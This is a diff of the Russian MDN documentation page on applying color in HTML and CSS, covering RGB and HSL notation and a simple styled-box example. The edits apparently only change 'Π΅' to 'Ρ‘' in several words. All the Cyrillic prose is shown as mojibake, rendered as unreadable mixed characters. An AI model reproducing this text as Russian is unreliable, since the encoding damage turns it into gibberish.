+<p>RGB запись Π² Π²ΠΈΠ΄Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ,Β ΠΊΠ°ΠΊ ΠΈ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Π°Ρ запись, прСдставляСт Ρ†Π²Π΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ красный, Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ ΠΈ синий ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ (Ρ‚Π°ΠΊΠΆΠ΅, ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Β Π°Π»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π»Π° для прозрачности). Но, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ± ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ строку, Ρ†Π²Π΅Ρ‚ опрСдСляСтся CSSΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ {{cssxref("rgb()")}}. Данная функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ°ΠΊ Π²Π²ΠΎΠ΄Π½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ значСния красного, Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎ ΠΈ синСго ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² ΠΈ, ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ, Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠ³ΠΎΒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Π»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π»Π°.</p>
<p>ДопустимыС значСния для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· этих ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²:</p>
@@ -152,12 +152,12 @@ translation_of: Web/HTML/Applying_color
<div style="padding-bottom: 20px;">
<figure style="width: 500px;"><img alt="HSL color cylinder" src="https://mdn.mozillademos.org/files/15445/1200px-HSL_color_solid_cylinder_alpha_lowgamma.png" style="height: 375px; width: 500px;">
<figcaption>
-<p><em><strong>Рис. 1. ЦилиндричСская модСль HSL.</strong> Hue (ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊ) опрСдСляСт фактичСский Ρ†Π²Π΅Ρ‚, основанный Π½Π° ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ вдоль Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΡ€ΡƒΠ³Π°, прСдставляя Ρ†Π²Π΅Ρ‚Π° Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ спСктра. Saturation (Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ) прСдставляСт собой ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π½ΠΎΠ΅ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ° ΠΎΡ‚ сСрого Π΄ΠΎ максимально насыщСнного Ρ†Π²Π΅Ρ‚Π°. По ΠΌΠ΅Ρ€Π΅ увСличСния значСния luminance/Β lightnessΒ (свСтлоты) Ρ†Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΎΡ‚ самого Ρ‚Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΊ самому  свСтлому (ΠΎΡ‚ Ρ‡Π΅Ρ€Π½ΠΎΠ³ΠΎ ΠΊ Π±Π΅Π»ΠΎΠΌΡƒ).Β Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ прСдставлСно ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌΒ <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a>Β Π²Β <a href="https://www.wikipedia.org/">Wikipedia</a>, распространяСтся Π½Π° ΠΏΡ€Π°Π²Π°Ρ… Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΈΒ <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> .</em></p>
+<p><em><strong>Рис. 1. ЦилиндричСская модСль HSL.</strong> Hue (ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊ) опрСдСляСт фактичСский Ρ†Π²Π΅Ρ‚, основанный Π½Π° ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ вдоль Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΡ€ΡƒΠ³Π°, прСдставляя Ρ†Π²Π΅Ρ‚Π° Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ спСктра. Saturation (Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ) прСдставляСт собой ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π½ΠΎΠ΅ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ° ΠΎΡ‚ сСрого Π΄ΠΎ максимально насыщСнного Ρ†Π²Π΅Ρ‚Π°. По ΠΌΠ΅Ρ€Π΅ увСличСния значСния luminance/Β lightnessΒ (свСтлоты) Ρ†Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΎΡ‚ самого Ρ‚Ρ‘ΠΌΠ½ΠΎΠ³ΠΎ ΠΊ самому  свСтлому (ΠΎΡ‚ Ρ‡Ρ‘Ρ€Π½ΠΎΠ³ΠΎ ΠΊ Π±Π΅Π»ΠΎΠΌΡƒ).Β Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ прСдставлСно ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌΒ <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a>Β Π²Β <a href="https://www.wikipedia.org/">Wikipedia</a>, распространяСтся Π½Π° ΠΏΡ€Π°Π²Π°Ρ… Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΈΒ <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> .</em></p>
</figcaption>
</figure>
</div>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° <em>ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊ</em>Β (H) Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈΒ HSL опрСдСляСтся ΡƒΠ³Π»ΠΎΠΌ ΠΏΡ€ΠΈ двиТСнии вдоль окруТности Ρ†ΠΈΠ»ΠΈΠ½Π΄Ρ€Π°Β ΠΎΡ‚ красного Ρ‡Π΅Ρ€Π΅Π· ΠΆΠ΅Π»Ρ‚Ρ‹ΠΉ, Π·Π΅Π»Π΅Π½Ρ‹ΠΉ, Π³ΠΎΠ»ΡƒΠ±ΠΎΠΉ, синий ΠΈ ΠΌΠ°Π΄ΠΆΠ΅Π½Ρ‚Π°, и заканчивая Ρ‡Π΅Ρ€Π΅Π· 360° снова красным. Π”Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚. Π•Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ Π² Π»ΡŽΠ±Ρ‹Ρ… Π΅Π΄ΠΈΠ½ΠΈΡ†Π°Ρ…,Β ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ…Β CSS свойством {{cssxref("&lt;angle&gt;")}}, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ -  в градусах (<code>deg</code>), Ρ€Π°Π΄ΠΈΠ°Π½Π°Ρ…Β (<code>rad</code>), Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°Ρ…Β (<code>grad</code>)Β ΠΈΠ»ΠΈ ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π°Ρ…Β (<code>turn</code>). Но компонСнт <em>ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊΒ </em>Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ влияСт Π½Π° Ρ‚ΠΎ, насколько насыщСнным, ярким ΠΈΠ»ΠΈ Ρ‚Π΅ΠΌΠ½Ρ‹ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Ρ†Π²Π΅Ρ‚.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° <em>ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊ</em>Β (H) Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈΒ HSL опрСдСляСтся ΡƒΠ³Π»ΠΎΠΌ ΠΏΡ€ΠΈ двиТСнии вдоль окруТности Ρ†ΠΈΠ»ΠΈΠ½Π΄Ρ€Π°Β ΠΎΡ‚ красного Ρ‡Π΅Ρ€Π΅Π· ΠΆΡ‘Π»Ρ‚Ρ‹ΠΉ, Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ, Π³ΠΎΠ»ΡƒΠ±ΠΎΠΉ, синий ΠΈ ΠΌΠ°Π΄ΠΆΠ΅Π½Ρ‚Π°, и заканчивая Ρ‡Π΅Ρ€Π΅Π· 360° снова красным. Π”Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚. Π•Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ Π² Π»ΡŽΠ±Ρ‹Ρ… Π΅Π΄ΠΈΠ½ΠΈΡ†Π°Ρ…,Β ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ…Β CSS свойством {{cssxref("&lt;angle&gt;")}}, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ -  в градусах (<code>deg</code>), Ρ€Π°Π΄ΠΈΠ°Π½Π°Ρ…Β (<code>rad</code>), Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°Ρ…Β (<code>grad</code>)Β ΠΈΠ»ΠΈ ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π°Ρ…Β (<code>turn</code>). Но компонСнт <em>ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊΒ </em>Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ влияСт Π½Π° Ρ‚ΠΎ, насколько насыщСнным, ярким ΠΈΠ»ΠΈ Ρ‚Π΅ΠΌΠ½Ρ‹ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Ρ†Π²Π΅Ρ‚.</p>
<p>ΠšΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Β <em>Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ</em> (S) опрСдСляСт количСство конСчного Ρ†Π²Π΅Ρ‚Π° ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ состоит указанный оттСнок.Β ΠžΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ΅ опрСдСляСтся ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ сСрого Ρ†Π²Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Β luminance/ lightness (L).</p>
@@ -165,7 +165,7 @@ translation_of: Web/HTML/Applying_color
<ol>
<li>Π’Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ с Π±Π°Π·ΠΎΠ²ΠΎΠΉ краски, Ρ‚.Π΅. с максимально Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉ интСнсивности Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°. НапримСр, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ насыщСнный синий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдставлСн Π½Π° экранС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π­Ρ‚ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ <em>hue (ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊ)</em>: Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅Β <strong>ΡƒΠ³ΠΎΠ»</strong>Β Π²ΠΎΠΊΡ€ΡƒΠ³ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΡ€ΡƒΠ³Π° для насыщСнного ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС нашСй Π±Π°Π·Ρ‹.</li>
- <li>Π”Π°Π»Π΅Π΅ Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚Π΅ краску сСрого ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ°, которая Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠΌΡƒ, насколько ярким Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚. Π­Ρ‚ΠΎΒ <em>luminance/ lightness (ΡΡ€ΠΊΠΎΡΡ‚ΡŒ)</em>. Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ†Π²Π΅Ρ‚ Π±Ρ‹Π» ΠΎΡ‡Π΅Π½ΡŒ ярким, практичСски Π±Π΅Π»Ρ‹ΠΌ ΠΈΠ»ΠΈ ΠΎΡ‡Π΅Π½ΡŒ Ρ‚Π΅ΠΌΠ½Ρ‹ΠΌ, Π±Π»ΠΈΠΆΠ΅ ΠΊ Ρ‡Π΅Ρ€Π½ΠΎΠΌΡƒ, ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ срСднСС? Π”Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ опрСдСляСтся Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ…, Π³Π΄Π΅Β 0% - ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ 100% - ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΉ Π±Π΅Π»Ρ‹ΠΉ (нСзависимо ΠΎΡ‚ насыщСнности ΠΈΠ»ΠΈΒ ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ°). Π‘Ρ€Π΅Π΄Π½ΠΈΠ΅ значСния - это Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½Π°ΡΒ ΡΠ΅Ρ€Π°Ρ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ.</li>
+ <li>Π”Π°Π»Π΅Π΅ Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚Π΅ краску сСрого ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ°, которая Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠΌΡƒ, насколько ярким Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚. Π­Ρ‚ΠΎΒ <em>luminance/ lightness (ΡΡ€ΠΊΠΎΡΡ‚ΡŒ)</em>. Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ†Π²Π΅Ρ‚ Π±Ρ‹Π» ΠΎΡ‡Π΅Π½ΡŒ ярким, практичСски Π±Π΅Π»Ρ‹ΠΌ ΠΈΠ»ΠΈ ΠΎΡ‡Π΅Π½ΡŒ Ρ‚Π΅ΠΌΠ½Ρ‹ΠΌ, Π±Π»ΠΈΠΆΠ΅ ΠΊ Ρ‡Ρ‘Ρ€Π½ΠΎΠΌΡƒ, ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ срСднСС? Π”Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ опрСдСляСтся Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ…, Π³Π΄Π΅Β 0% - ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΉ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ 100% - ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΉ Π±Π΅Π»Ρ‹ΠΉ (нСзависимо ΠΎΡ‚ насыщСнности ΠΈΠ»ΠΈΒ ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠ°). Π‘Ρ€Π΅Π΄Π½ΠΈΠ΅ значСния - это Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½Π°ΡΒ ΡΠ΅Ρ€Π°Ρ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ.</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΡƒΒ Π΅ΡΡ‚ΡŒ сСрый Ρ†Π²Π΅Ρ‚ ΠΈ идСально насыщСнный цвСт, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡ… ΡΠΌΠ΅ΡˆΠ°Ρ‚ΡŒ. ΠšΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Β <em>saturation (Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ)Β </em>опрСдСляСт ΠΊΠ°ΠΊΠΎΠΉ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· идСально насыщСнного Ρ†Π²Π΅Ρ‚Π°. ΠžΡΡ‚Π°Ρ‚ΠΎΠΊ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° формируСтся сСрым Ρ†Π²Π΅Ρ‚ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт Π½Π°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ.</li>
</ol>
@@ -245,7 +245,7 @@ th {
<p>Π‘Π°ΠΌΡ‹ΠΉ простой способ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ элСмСнту ΠΈ Ρ‚ΠΎ, ΠΊΠ°ΠΊ это ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ дСлаСтся - это просто ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ Π² CSS.Β ΠœΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹Ρ… свойств, Π° просто рассмотрим нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ².Β Π“Π΄Π΅ Π±Ρ‹ Π²Ρ‹ Π½Π΅ использовали Ρ†Π²Π΅Ρ‚, ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅.</p>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ:</p>
<p>Β </p>
@@ -253,7 +253,7 @@ th {
<h4 id="HTML">HTML</h4>
-<p>HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html">&lt;div class="wrapper"&gt;
&lt;div class="box boxLeft"&gt;
@@ -268,7 +268,7 @@ th {
&lt;/div&gt;
&lt;/div&gt;</pre>
-<p>ВсС довольно просто:Β ΠΏΠ΅Ρ€Π²Ρ‹ΠΉΒ {{HTMLElement("div")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠ° (wrapper) содСрТимого, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ состоит ΠΈΠ· Π΅Ρ‰Π΅ Π΄Π²ΡƒΡ…Β <code>&lt;div&gt;</code>, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… содСрТит ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ ({{HTMLElement("p")}}) ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ свой ΡΡ‚ΠΈΠ»ΡŒ.</p>
+<p>ВсС довольно просто:Β ΠΏΠ΅Ρ€Π²Ρ‹ΠΉΒ {{HTMLElement("div")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠ° (wrapper) содСрТимого, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ состоит ΠΈΠ· Π΅Ρ‰Ρ‘ Π΄Π²ΡƒΡ…Β <code>&lt;div&gt;</code>, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… содСрТит ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ ({{HTMLElement("p")}}) ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ свой ΡΡ‚ΠΈΠ»ΡŒ.</p>
<p>ВсС Π²ΠΎΠ»ΡˆΠ΅Π±ΡΡ‚Π²ΠΎ, ΠΊΠ°ΠΊ всСгда, происходит Π² CSS, Π³Π΄Π΅ ΠΌΡ‹ ΠΈ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ HTML элСмСнтам..</p>
@@ -307,7 +307,7 @@ th {
<p>Β </p>
-<p>Π’ΠΊΡ€Π°Ρ‚Ρ†Π΅ класс <code>.box</code> устанавливаСт Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΡˆΡ€ΠΈΡ„Ρ‚Π°.Β Π’Π°ΠΊΠΆΠ΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΠΎΡ‚Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТимоС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°.Β ΠœΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ Ρ€Π΅ΠΆΠΈΠΌ <code>flex</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref("display", "display: flex")}}, ΠΈ присваиваСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ center {{cssxref("justify-content")}} ΠΈ {{cssxref("align-items")}}.Β Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаСм ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ классы для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π΄Π²ΡƒΡ… Π±Π»ΠΎΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ опрСдСлят ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅Β ΡΠ²ΠΎΠΉΡΡ‚Π²Π°.</p>
